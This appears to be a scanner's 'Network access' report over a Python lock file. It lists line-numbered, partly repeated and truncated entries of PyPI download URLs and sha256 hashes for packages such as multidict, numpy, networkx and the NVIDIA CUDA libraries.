    { url = "https://files.pythonhosted.org/packages/87/af/a3b86bf9630b732897f6fc3f4c4714b90aa4361983ccbdcd6c0339b21b0c/multidict-6.7.1-cp313-cp313-win32.whl", hash = "sha256:e1c5988359516095535c4301af38d8a8838534158f649c05dd1050222321bcb3", si
  • Network accessline 774
    { url = "https://files.pythonhosted.org/packages/b2/35/e994121b0e90e46134673422dd564623f93304614f5d11886b1b3e06f503/multidict-6.7.1-cp313-cp313-win_amd64.whl", hash = "sha256:960c83bf01a95b12b08fd54324a4eb1d5b52c88932b5cba5d6e712bb3ed12eb5"
  • Network accessline 775
    { url = "https://files.pythonhosted.org/packages/ca/61/42d3e5dbf661242a69c97ea363f2d7b46c567da8eadef8890022be6e2ab0/multidict-6.7.1-cp313-cp313-win_arm64.whl", hash = "sha256:563fe25c678aaba333d5399408f5ec3c383ca5b663e7f774dd179a520b8144df"
  • Network accessline 776
    { url = "https://files.pythonhosted.org/packages/6d/b3/e6b21c6c4f314bb956016b0b3ef2162590a529b84cb831c257519e7fde44/multidict-6.7.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:c76c4bec1538375dad9d452d246ca5368ad6e1c9039dadcf00
  • Network accessline 777
    { url = "https://files.pythonhosted.org/packages/fb/76/23ecd2abfe0957b234f6c960f4ade497f55f2c16aeb684d4ecdbf1c95791/multidict-6.7.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:57b46b24b5d5ebcc978da4ec23a819a9402b4228b8a90d9c656422
  • Network accessline 778
    { url = "https://files.pythonhosted.org/packages/c4/57/a0ed92b23f3a042c36bc4227b72b97eca803f5f1801c1ab77c8a212d455e/multidict-6.7.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e954b24433c768ce78ab7929e84ccf3422e46deb45a4dc9f93438f82
  • Network accessline 779
    { url = "https://files.pythonhosted.org/packages/b5/66/02ec7ace29162e447f6382c495dc95826bf931d3818799bbef11e8f7df1a/multidict-6.7.1-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3bd231490fa7217cc83
  • Network accessline 780
    { url = "https://files.pythonhosted.org/packages/58/18/64f5a795e7677670e872673aca234162514696274597b3708b2c0d276cce/multidict-6.7.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:253282
  • Network accessline 781
    { url = "https://files.pythonhosted.org/packages/c8/ed/e192291dbbe51a8290c5686f482084d31bcd9d09af24f63358c3d42fd284/multidict-6.7.1-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b4c48648
  • Network accessline 782
    { url = "https://files.pythonhosted.org/packages/1e/7e/3562a15a60cf747397e7f2180b0a11dc0c38d9175a650e75fa1b4d325e15/multidict-6.7.1-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:98bc62
  • Network accessline 783
    { url = "https://files.pythonhosted.org/packages/24/02/7d0f9eae92b5249bb50ac1595b295f10e263dd0078ebb55115c31e0eaccd/multidict-6.7.1-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1b99af4d9eec
  • Network accessline 784
    { url = "https://files.pythonhosted.org/packages/00/e3/9b60ed9e23e64c73a5cde95269ef1330678e9c6e34dd4eb6b431b85b5a10/multidict-6.7.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6aac4f16b
  • Network accessline 785
    { url = "https://files.pythonhosted.org/packages/3e/06/538e58a63ed5cfb0bd4517e346b91da32fde409d839720f664e9a4ae4f9d/multidict-6.7.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:21f830fe223215dffd51f538e78c172ed7c7f60c9b96a2bf05c4
  • Network accessline 786
    { url = "https://files.pythonhosted.org/packages/b2/2f/d743a3045a97c895d401e9bd29aaa09b94f5cbdf1bd561609e5a6c431c70/multidict-6.7.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:f5dd81c45b05518b9aa4da4aa74e1c93d715efa234fd3e8a179df
  • Network accessline 787
    { url = "https://files.pythonhosted.org/packages/38/83/5a325cac191ab28b63c52f14f1131f3b0a55ba3b9aa65a6d0bf2a9b921a0/multidict-6.7.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:eb304767bca2bb92fb9c5bd33cedc95baee5bb5f6c88e63706533a1
  • Network accessline 788
    { url = "https://files.pythonhosted.org/packages/20/1f/9d2327086bd15da2725ef6aae624208e2ef828ed99892b17f60c344e57ed/multidict-6.7.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c9035dde0f916702850ef66460bc4239d89d08df4d02023a5926
  • Network accessline 789
    { url = "https://files.pythonhosted.org/packages/e8/2c/2a1aa0280cf579d0f6eed8ee5211c4f1730bd7e06c636ba2ee6aafda302e/multidict-6.7.1-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:af959b9beeb66c822380f222f0e0a1889331597e81f1ded7f374f3
  • Network accessline 790
    { url = "https://files.pythonhosted.org/packages/e5/03/7ca022ffc36c5a3f6e03b179a5ceb829be9da5783e6fe395f347c0794680/multidict-6.7.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:41f2952231456154ee479651491e94118229844dd7226541788be
  • Network accessline 791
    { url = "https://files.pythonhosted.org/packages/dc/1d/b31650eab6c5778aceed46ba735bd97f7c7d2f54b319fa916c0f96e7805b/multidict-6.7.1-cp313-cp313t-win32.whl", hash = "sha256:df9f19c28adcb40b6aae30bbaa1478c389efd50c28d541d76760199fc1037c32", s
  • Network accessline 792
    { url = "https://files.pythonhosted.org/packages/ac/5b/2d2d1d522e51285bd61b1e20df8f47ae1a9d80839db0b24ea783b3832832/multidict-6.7.1-cp313-cp313t-win_amd64.whl", hash = "sha256:d54ecf9f301853f2c5e802da559604b3e95bb7a3b01a9c295c6ee591b9882de8
  • Network accessline 793
    { url = "https://files.pythonhosted.org/packages/3d/a3/cc409ba012c83ca024a308516703cf339bdc4b696195644a7215a5164a24/multidict-6.7.1-cp313-cp313t-win_arm64.whl", hash = "sha256:5a37ca18e360377cfda1d62f5f382ff41f2b8c4ccb329ed974cc2e1643440118
  • Network accessline 794
    { url = "https://files.pythonhosted.org/packages/81/08/7036c080d7117f28a4af526d794aab6a84463126db031b007717c1a6676e/multidict-6.7.1-py3-none-any.whl", hash = "sha256:55d97cc6dae627efa6a6e548885712d4864b81110ac76fa4e534c03819fa4a56", size = 
  • Network accessline 798
    name = "narwhals" version = "2.25.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 799
    version = "2.25.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/6f/7b/6248dada39781db1ab3ebf08943080df0796098515a87f6f8696d14ec744/narwhals-2.25.0.tar.gz", hash = "sha256:62c036
  • Network accessline 800
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 801
    sdist = { url = "https://files.pythonhosted.org/packages/6f/7b/6248dada39781db1ab3ebf08943080df0796098515a87f6f8696d14ec744/narwhals-2.25.0.tar.gz", hash = "sha256:62c036c810662bf7820b7737077176313bc59350eeeefb808510f388c743e4b2", size = 67
  • Network accessline 802
    wheels = [     { url = "https://files.pythonhosted.org/packages/eb/dc/55481808fd70ef1567cf13540ffd4702af3f74b112e35427564b03f79c2d/narwhals-2.25.0-py3-none-any.whl", hash = "sha256:1f0f403e8c7e4463cde9bfe78b12fdd809e3ae3dda6d9b2f802934fb9c7
  • Network accessline 803
    { url = "https://files.pythonhosted.org/packages/eb/dc/55481808fd70ef1567cf13540ffd4702af3f74b112e35427564b03f79c2d/narwhals-2.25.0-py3-none-any.whl", hash = "sha256:1f0f403e8c7e4463cde9bfe78b12fdd809e3ae3dda6d9b2f802934fb9c7a6a8f", size = 
  • Network accessline 807
    name = "networkx" version = "3.6.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 808
    version = "3.6.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/6a/51/63fe664f3908c97be9d2e4f1158eb633317598cfa6e1fc14af5383f17512/networkx-3.6.1.tar.gz", hash = "sha256:26b7c357
  • Network accessline 809
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 810
    sdist = { url = "https://files.pythonhosted.org/packages/6a/51/63fe664f3908c97be9d2e4f1158eb633317598cfa6e1fc14af5383f17512/networkx-3.6.1.tar.gz", hash = "sha256:26b7c357accc0c8cde558ad486283728b65b6a95d85ee1cd66bafab4c8168509", size = 251
  • Network accessline 811
    wheels = [     { url = "https://files.pythonhosted.org/packages/9e/c9/b2622292ea83fbb4ec318f5b9ab867d0a28ab43c5717bb85b0a5f6b3b0a4/networkx-3.6.1-py3-none-any.whl", hash = "sha256:d47fbf302e7d9cbbb9e2555a0d267983d2aa476bac30e90dfbe5669bd57f
  • Network accessline 812
    { url = "https://files.pythonhosted.org/packages/9e/c9/b2622292ea83fbb4ec318f5b9ab867d0a28ab43c5717bb85b0a5f6b3b0a4/networkx-3.6.1-py3-none-any.whl", hash = "sha256:d47fbf302e7d9cbbb9e2555a0d267983d2aa476bac30e90dfbe5669bd57f3762", size = 2
  • Network accessline 816
    name = "numpy" version = "2.5.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 817
    version = "2.5.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/9a/80/db0b4559e57ec36362bedbb05530a87fafbcb6067708c946967a41d449e7/numpy-2.5.2.tar.gz", hash = "sha256:d482d171c40
  • Network accessline 818
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 819
    sdist = { url = "https://files.pythonhosted.org/packages/9a/80/db0b4559e57ec36362bedbb05530a87fafbcb6067708c946967a41d449e7/numpy-2.5.2.tar.gz", hash = "sha256:d482d171c406ae88c5b19cad3b6a1c4c5209f886ab74bc44c2c865c23f52d860", size = 207731
  • Network accessline 820
    wheels = [     { url = "https://files.pythonhosted.org/packages/f5/d2/6b24738a0ef4557d189b150046cd07823c50e4273e8aebd651222e24306f/numpy-2.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8e4cb9a754c8a0c62eaa88273a5fba3391f4a610d1de
  • Network accessline 821
    { url = "https://files.pythonhosted.org/packages/f5/d2/6b24738a0ef4557d189b150046cd07823c50e4273e8aebd651222e24306f/numpy-2.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8e4cb9a754c8a0c62eaa88273a5fba3391f4a610d1dee893c0755da31c0
  • Network accessline 822
    { url = "https://files.pythonhosted.org/packages/65/60/f2d208d366f263f39c6e69ed309290717aab41078b6d04c9be2a84fa2a07/numpy-2.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:52c808f96484f5571a5cc863775ce50247c17dfb3b0361f8ed6b4b0456f80
  • Network accessline 823
    { url = "https://files.pythonhosted.org/packages/3c/79/81e0bf24f4d020a2b1d5cd297a9f60c3f24eeb116f9bba5870443f7b6a4a/numpy-2.5.2-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:29d81e97f668489cba8ebfd796b9bdd453525d35dd9e162e2daec94bf3fc7
  • Network accessline 824
    { url = "https://files.pythonhosted.org/packages/ba/cc/e3141cf06d1a8a2c7e107543fe1269c1d1af760d4d683c0794a4ee1127c2/numpy-2.5.2-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:afb3f0632d6b2e3ba04dbce8d1e48d321b369138b73830b5ca371a0e8d47
  • Network accessline 825
    { url = "https://files.pythonhosted.org/packages/29/f1/2a64a307d92c5d98f5255a4014eb43bb6103ee477087b61ecae44a3aa9b9/numpy-2.5.2-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0aadf13b60048d501e05fa699efaf7734
  • Network accessline 826
    { url = "https://files.pythonhosted.org/packages/7b/44/59a1eb68e773c4098d107ef34a0dbdeca501d72ffcfbff9a7707343921ce/numpy-2.5.2-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:29b86ff8a6cc556b47ec6b64b194815cc80
  • Network accessline 827
    { url = "https://files.pythonhosted.org/packages/8a/4c/3e54d4ddbc359a1295f8b633e8106bcd4d7d4a206e82df051bdfb3058755/numpy-2.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6950c4b7dd562453090548ba7f5da7e59f57f85663f15d5dcc60e2491
  • Network accessline 828
    { url = "https://files.pythonhosted.org/packages/f2/9f/02e371638ebf19b66d46231e4be52999e87f32d1961b113bc45656608b22/numpy-2.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b9727f472d2f3888053b8a75ab0cb94745a9de224bb5846dbadc009210
  • Network accessline 829
    { url = "https://files.pythonhosted.org/packages/eb/ae/ad6645abc7a3510fe48e8ea1ab4598166f500057ef4ebf38bfad4f1577de/numpy-2.5.2-cp313-cp313-win32.whl", hash = "sha256:4f9744f9fbdcea0bc552e8f19e1f141f811a3f9bc2be2cc6e86d982cab23e3f4", size =
  • Network accessline 830
    { url = "https://files.pythonhosted.org/packages/15/20/f3489f86d81ea460b2bcdceaed094142ca6579f6be0ec527b781d39afe68/numpy-2.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:85aaccb24182c25df891ad0ec333585967e115269d5f1b17f2c9ae005bc96657", si
  • Network accessline 831
    { url = "https://files.pythonhosted.org/packages/d5/21/35b31dde1b283b79de828b80f876afd8c94e28fe1e9c375f89e261cc4c0d/numpy-2.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:bd68ece1553d2023c09a4226d9e41c586ad2d20594d1a456186c33513d2cb3f2", si
  • Network accessline 835
    name = "nvidia-cublas" version = "13.1.1.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 836
    version = "13.1.1.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 837
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 840
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2
  • Network accessline 841
    wheels = [     { url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2e9
  • Network accessline 842
    { url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2e969d5c99f305ab15
  • Network accessline 843
    { url = "https://files.pythonhosted.org/packages/3b/cd/154ca20c38269e05eff77c1464e6c1da89f50a6390b565e9d82e06bc11e1/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:37936a16db8fe4ac1f065c2139360608a543a09275cb1a1af
  • Network accessline 847
    name = "nvidia-cuda-cupti" version = "13.0.85" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 848
    version = "13.0.85" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 849
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 850
    wheels = [     { url = "https://files.pythonhosted.org/packages/2a/2a/80353b103fc20ce05ef51e928daed4b6015db4aaa9162ed0997090fe2250/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_aarch64.whl", hash = "sha256:796bd679890ee55fb14a94629b698b
  • Network accessline 851
    { url = "https://files.pythonhosted.org/packages/2a/2a/80353b103fc20ce05ef51e928daed4b6015db4aaa9162ed0997090fe2250/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_aarch64.whl", hash = "sha256:796bd679890ee55fb14a94629b698b6db54bcfd833d39
  • Network accessline 852
    { url = "https://files.pythonhosted.org/packages/33/6d/737d164b4837a9bbd202f5ae3078975f0525a55730fe871d8ed4e3b952b0/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_x86_64.whl", hash = "sha256:4eb01c08e859bf924d222250d2e8f8b8ff6d3db4721288
  • Network accessline 856
    name = "nvidia-cuda-nvrtc" version = "13.0.88" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 857
    version = "13.0.88" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 858
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 859
    wheels = [     { url = "https://files.pythonhosted.org/packages/c3/68/483a78f5e8f31b08fb1bb671559968c0ca3a065ac7acabfc7cee55214fd6/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:ad9b6d2ead
  • Network accessline 860
    { url = "https://files.pythonhosted.org/packages/c3/68/483a78f5e8f31b08fb1bb671559968c0ca3a065ac7acabfc7cee55214fd6/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:ad9b6d2ead2435f11cbb68688
  • Network accessline 861
    { url = "https://files.pythonhosted.org/packages/b7/dc/6bb80850e0b7edd6588d560758f17e0550893a1feaf436807d64d2da040f/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d27f20a0ca67a4bb34268a5
  • Network accessline 865
    name = "nvidia-cuda-runtime" version = "13.0.96" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 866
    version = "13.0.96" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 867
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 868
    wheels = [     { url = "https://files.pythonhosted.org/packages/87/4f/17d7b9b8e285199c58ce28e31b5c5bbaa4d8271af06a89b6405258245de2/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ef9bcb
  • Network accessline 869
    { url = "https://files.pythonhosted.org/packages/87/4f/17d7b9b8e285199c58ce28e31b5c5bbaa4d8271af06a89b6405258245de2/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ef9bcbe90493a2b9d810e
  • Network accessline 870
    { url = "https://files.pythonhosted.org/packages/2e/24/d1558f3b68b1d26e706813b1d10aa1d785e4698c425af8db8edc3dced472/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7f82250d7782aa23b6cfe76
  • Network accessline 874
    name = "nvidia-cudnn-cu13" version = "9.20.0.48" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 875
    version = "9.20.0.48" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 876
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 879
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15
  • Network accessline 880
    wheels = [     { url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15b6
  • Network accessline 881
    { url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15b6fa2fc50a9e1c0f5
  • Network accessline 882
    { url = "https://files.pythonhosted.org/packages/6e/5e/edb9c0ae051602c3ccaffe424256463636d639e27d7f302dde9975ef9e7a/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:0c45dd8eeb50b603f07995b1b300c62ffe6a1980482b
  • Network accessline 886
    name = "nvidia-cufft" version = "12.0.0.61" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 887
    version = "12.0.0.61" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 888
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 891
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852e
  • Network accessline 892
    wheels = [     { url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852ef8
  • Network accessline 893
    { url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852ef8cd89d1d2068bdbe
  • Network accessline 894
    { url = "https://files.pythonhosted.org/packages/a8/2f/7b57e29836ea8714f81e9898409196f47d772d5ddedddf1592eadb8ab743/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:6c44f692dce8fd5ffd3e3df134b6
  • Network accessline 898
    name = "nvidia-cufile" version = "1.15.1.6" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 899
    version = "1.15.1.6" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 900
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 901
    wheels = [     { url = "https://files.pythonhosted.org/packages/3f/70/4f193de89a48b71714e74602ee14d04e4019ad36a5a9f20c425776e72cd6/nvidia_cufile-1.15.1.6-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:08a3ecefae5a0
  • Network accessline 902
    { url = "https://files.pythonhosted.org/packages/3f/70/4f193de89a48b71714e74602ee14d04e4019ad36a5a9f20c425776e72cd6/nvidia_cufile-1.15.1.6-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:08a3ecefae5a01c7f5117351c64f
  • Network accessline 903
    { url = "https://files.pythonhosted.org/packages/ab/73/cc4a14c9813a8a0d509417cf5f4bdaba76e924d58beb9864f5a7baceefbf/nvidia_cufile-1.15.1.6-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:bdc0deedc61f548bddf7733bdc216456c2fdb101d020e1ab
  • Network accessline 907
    name = "nvidia-curand" version = "10.4.0.35" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 908
    version = "10.4.0.35" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 909
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 910
    wheels = [     { url = "https://files.pythonhosted.org/packages/1e/72/7c2ae24fb6b63a32e6ae5d241cc65263ea18d08802aaae087d9f013335a2/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:133df5a7509c3e292aaa2b477afd0194
  • Network accessline 911
    { url = "https://files.pythonhosted.org/packages/1e/72/7c2ae24fb6b63a32e6ae5d241cc65263ea18d08802aaae087d9f013335a2/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:133df5a7509c3e292aaa2b477afd0194f06ce4ea24d714d
  • Network accessline 912
    { url = "https://files.pythonhosted.org/packages/a5/9f/be0a41ca4a4917abf5cb9ae0daff1a6060cc5de950aec0396de9f3b52bc5/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:1aee33a5da6e1db083fe2b90082def8915f30f3248d5896b
  • Network accessline 916
    name = "nvidia-cusolver" version = "12.0.4.66" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 917
    version = "12.0.4.66" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 918
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 923
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd88
  • Network accessline 924
    wheels = [     { url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd8820
  • Network accessline 925
    { url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd8820e6a1cfb9f9a34f8
  • Network accessline 926
    { url = "https://files.pythonhosted.org/packages/5f/67/cba3777620cdacb99102da4042883709c41c709f4b6323c10781a9c3aa34/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:0a759da5dea5c0ea10fd307de75cdeb59e7ea4fcb8add0
  • Network accessline 930
    name = "nvidia-cusparse" version = "12.6.3.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 931
    version = "12.6.3.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 932
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 935
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc46
  • Network accessline 936
    wheels = [     { url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc4662
  • Network accessline 937
    { url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc4662f23f1054ee334a1
  • Network accessline 938
    { url = "https://files.pythonhosted.org/packages/fa/18/623c77619c31d62efd55302939756966f3ecc8d724a14dab2b75f1508850/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2b3c89c88d01ee0e477cb7f82e
  • Network accessline 942
    name = "nvidia-cusparselt-cu13" version = "0.8.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 943
    version = "0.8.1" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 944
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 945
    wheels = [     { url = "https://files.pythonhosted.org/packages/46/e1/cdc1797eadf82d3a9a575a19b33fdc871a97edbec42c00b5b5e914f4aff4/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_aarch64.whl", hash = "sha256:4dca476c50bf4780d46cd0bfbd82
  • Network accessline 946
    { url = "https://files.pythonhosted.org/packages/46/e1/cdc1797eadf82d3a9a575a19b33fdc871a97edbec42c00b5b5e914f4aff4/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_aarch64.whl", hash = "sha256:4dca476c50bf4780d46cd0bfbd82e2bc10a08e4fef7
  • Network accessline 947
    { url = "https://files.pythonhosted.org/packages/34/7d/2661f2fb3ac4302f3a246f5fc030213ac60c1fe0bce84f9783dbd831dbb7/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_x86_64.whl", hash = "sha256:786ce87568c303fadb5afcc7102d454cd3040d75f6f8
  • Network accessline 951
    name = "nvidia-nccl-cu13" version = "2.29.7" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 952
    version = "2.29.7" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 953
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 954
    wheels = [     { url = "https://files.pythonhosted.org/packages/72/0d/daf50d44177ee0cbc7ff0a0c91eb5ff676c82be42f9a970bc7597f440c3a/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_aarch64.whl", hash = "sha256:674a12383e3c38a1bcccae7d4f3633b3
  • Network accessline 955
    { url = "https://files.pythonhosted.org/packages/72/0d/daf50d44177ee0cbc7ff0a0c91eb5ff676c82be42f9a970bc7597f440c3a/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_aarch64.whl", hash = "sha256:674a12383e3c38a1bcccae7d4f3633b37852230b6047883
  • Network accessline 956
    { url = "https://files.pythonhosted.org/packages/67/f4/58e4e91b6919367c7aafb8e36fce9aad1a3047e536bf7e2fd560927d3a4c/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_x86_64.whl", hash = "sha256:edd81538446786ec3b73972543e53bb43bcaf0bfc8ef76cb
  • Network accessline 960
